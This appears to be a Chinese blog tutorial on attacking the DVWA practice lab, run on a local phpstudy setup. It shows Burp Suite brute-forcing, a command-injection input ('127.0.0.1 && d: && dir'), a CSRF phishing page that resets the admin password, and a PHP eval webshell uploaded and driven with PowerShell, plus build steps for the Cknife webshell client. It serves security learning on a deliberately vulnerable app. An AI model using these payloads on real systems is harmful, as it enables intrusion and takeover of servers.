DVWA笔记

DVWA是什么?

DVWA(Damn Vulnerable Web Application)是一个开源的PHP/MySQL Web应用漏洞靶场,专门用来合法练习和测试Web安全漏洞。

DVWA的安装需要PHP环境以及mysql,我们使用phpstudy工具,里面集成了PHP和mysql,方便我们部署DVWA应用程序。然后我们在github中下载DVWA源码,并将源码放到phpstudy_pro\WWW\dvwa路径下即可。

然后我们还需要配置phpstudy_pro\WWW\dvwa\config\config.inc.php文件,主要是下面这些mysql配置,中途修改了数据库及其密码也需要相应改这个文件

# Database variables
#   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
#   Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
#   See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ]   = getenv('DB_SERVER') ?: 'localhost';
$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';
$_DVWA[ 'db_user' ]     = getenv('DB_USER') ?: 'root';
$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'admin123';
$_DVWA[ 'db_port']      = getenv('DB_PORT') ?: '3306';

然后,我们启动Apache和Mysql服务

image

然后,我们访问:http://localhost/dvwa/ 就可以看到dvwa界面了 

image

image

 我们选择上面的重置数据库菜单,会自动为我们创建数据库表和表中的记录。(注意,可能会报错,提示ALTER TABLE users ADD COLUMN IF NOT EXISTS role VARCHAR(20) DEFAULT 'user';语法错误或者不能创建外键之类的,此时打开phpstudy_pro\WWW\dvwa\dvwa\includes\DBMS\MySQL.php去掉IF NOT EXISTS和不设置外键依赖就可以了)。

重置成功后,我们查看数据库发现已初始化了几张表和表中的数据

image

1 Burp Suite介绍

我们去https://portswigger.net/下载Burp Suite Community Edition版本,这个版本是免费的。Burp Suite Professional这个版本是收费的,我们暂时不用。

下载安装完毕,启动Burp之后会监听8080端口,如果我们想抓包,需要将浏览器的代理设置为127.0.0.1 8080,其实也就是需要设置本地计算机网络代理,设置之后该计算机所有访问Windows Internet模块的流量都会转发给代理ip和端口,这就达到了我们通过Burp监听网络流量的目的。

注意,设置好之后,我们在浏览器中访问网页时会提示“不安全的网络连接”,其实这个问题是因为,本地操作系统没有Burp的证书,浏览器访问时,Burp作为中间代理人将自己的证书发给浏览器,因此浏览器不信任这个证书。我们要做一步,将Burp证书安装到本地操作系统。

我们访问http://127.0.0.1:8080/,下载证书

image

 下载下来一般是这个文件cacert.der,我们双击打开,并点击“安装证书”,安装时选项安装到“本地计算机”。选择“将所有证书放入下列存储”,然后点击“浏览”。在列表中勾选“受信任的根证书颁发机构”,点击“确定”,然后完成后续导入步骤

image

2 暴力破解 Brute Force

首先,我们将攻击难度设置为low

image

然后点击上方的 Brute Force

image

这就是我们的破解页面,我们的任务是使用穷举法破解admin的密码

我们使用上面介绍的Burp Suite进行爆破

这里需要注意的是:

  • 不能开启Intercept,不然请求会被拦截到此处中止,需人工点击“Forward”才会继续转发流量。
  • 访问dvwa不能使用172.0.0.1,要使用私有ip,因为Burp对回环测试地址做了特殊处理,不会走代理服务器。

我们页面随便输入一个密码,先观察一下

image

然后,我们打开Intruder(入侵者)菜单,将上面报文拷贝过来,并且在aaa处设置变量,然后导入穷举值(可能得密码列表),然后点击Start attack

image

然后,Burp会重复发送登录请求多次,尝试登录,结果如下,我们发现响应报文长度只有一个和其他都不一样,Length=4993

image

我们查看这个请求及其响应,发现这次登录成功了。因此,账号admin的密码就是password,爆破成功

image

3 命令注入

命令注入是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

我们切换到Command Injection菜单,这里是在页面上输入一个ip地址,然后看能否ping通的功能,我们在输入框中输入下面命令,这个命令作用是ping一个地址然后列出服务器D盘中所有的文件和目录

127.0.0.1 && d: && dir

显然,这里发生了命令注入的情况。

image

注意,如果有中文乱码,请配置phpstudy_pro\WWW\dvwa\dvwa\includes\dvwaPage.inc.php,有好几处charset=utf-8,要全部修改成charset=gb2312

4 CSRF

CSRF全称Cross-site request forgery,即跨站请求伪造。是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

我们先看一下要攻击的页面,这个页面功能是修改adminde密码,当我们提交后,看地址栏账号密码是通过这个url进行修改的

image

因此我们伪造一个钓鱼页面,诱导用户点击,实现恶意修改密码的目的

<html lang="zh-CN">
<body>
<button class="btn" id="redirectBtn">钓鱼按钮</button>
    <script>
        (function() {
            const btn = document.getElementById('redirectBtn');
            // 添加点击事件:执行跳转
            if (btn) {
                btn.addEventListener('click', function(e) {
                    // 使用 window.location.href 进行跳转
                    window.location.href = 'http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#';
                });
            }
        })();
    </script>
</body>
</html>

我们点击了按钮后,页面将会跳转,在跳转页面,我们可以看到,密码已被修改。

image

5 文件上传漏洞

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限

image

这里我们做个实验,实验是这样的,我们写一个木马程序,通过上面页面上传到服务器,然后通过这个木马程序执行一些例如列出文件、创建删除文件等操作

待上传的木马程序hack.php,其作用是执行传递过来的cmd参数

<?
@eval($_POST['cmd']);
?>

然后,我们上传这个hack.php

image

然后,我们有两种方式发起攻击,第一种使用ckinfe工具,该工具可以列出服务器路径、获取命令行窗口等功能;第二种我们直接使用powershell等工具;ckinfe的安装见附件

这里我在配置好ckinfe准备发起攻击时,一直处于“正在连接...请稍后状态”,后面有时间再看具体原因。这里我们使用命令行发起攻击(输出有些地方中文乱码,后面再调)

PS C:\Users\root> $body = @{cmd='system("whoami");'}
PS C:\Users\root> Invoke-RestMethod -Uri "http://127.0.0.1/dvwa/hackable/uploads/hack.php" -Method POST -Body $body
desktop-p5c2eep\root

PS C:\Users\root> $body = @{cmd='system("systeminfo");'}
PS C:\Users\root> Invoke-RestMethod -Uri "http://127.0.0.1/dvwa/hackable/uploads/hack.php" -Method POST -Body $body

������:           DESKTOP-P5C2EEP
OS ����:          Microsoft Windows 10 רҵ��
OS �汾:          10.0.19045 ��ȱ Build 19045
OS ������:        Microsoft Corporation
OS ����:          ��������վ
OS ��������:      Multiprocessor Free
ע���������:     root
ע�����֯:
��Ʒ ID:          00330-80000-00000-AA171

 

附1:cknife安装

下载源码:https://github.com/Chora10/Cknife

项目根路径下创建pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">

    <modelVersion>4.0.0</modelVersion>

    <groupId>com.ms509</groupId>
    <artifactId>cknife</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>jar</packaging>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.sqlite</groupId>
            <artifactId>sqlite-jdbc</artifactId>
            <version>3.7.2</version>
        </dependency>
        <dependency>
            <groupId>org.pushingpixels</groupId>
            <artifactId>substance</artifactId>
            <version>7.3</version>
        </dependency>
        <dependency>
            <groupId>org.pushingpixels</groupId>
            <artifactId>trident</artifactId>
            <version>1.5</version>
        </dependency>
    </dependencies>

    <build>
        <sourceDirectory>${project.basedir}/src</sourceDirectory>
        <resources>
            <resource>
                <directory>${project.basedir}/src</directory>
                <includes>
                    <include>**/*.png</include>
                    <include>**/*.jpg</include>
                    <include>**/*.gif</include>
                    <include>**/*.ico</include>
                    <include>**/*.properties</include>
                    <include>**/*.xml</include>
                </includes>
            </resource>
        </resources>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>3.5.0</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <transformers>
                                <transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                    <mainClass>com.ms509.ui.Cknife</mainClass>
                                </transformer>
                            </transformers>
                            <shadedArtifactAttached>true</shadedArtifactAttached>
                            <shadedClassifierName>full</shadedClassifierName>
                            <filters>
                                <filter>
                                    <artifact>*:*</artifact>
                                    <excludes>
                                        <exclude>META-INF/*.SF</exclude>
                                        <exclude>META-INF/*.DSA</exclude>
                                        <exclude>META-INF/*.RSA</exclude>
                                        <exclude>META-INF/MANIFEST.MF</exclude>
                                    </excludes>
                                </filter>
                            </filters>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

然后执行

mvn clean package

这样会生成一个jar包

我们运行这个jar包

java -jar cknife-1.0-SNAPSHOT-full.jar

如下,然后右键-添加,添加要访问的php脚本

image

 

posted @ 2026-09-03 16:37  zhenjingcool  阅读(5)  评论(0)    收藏  举报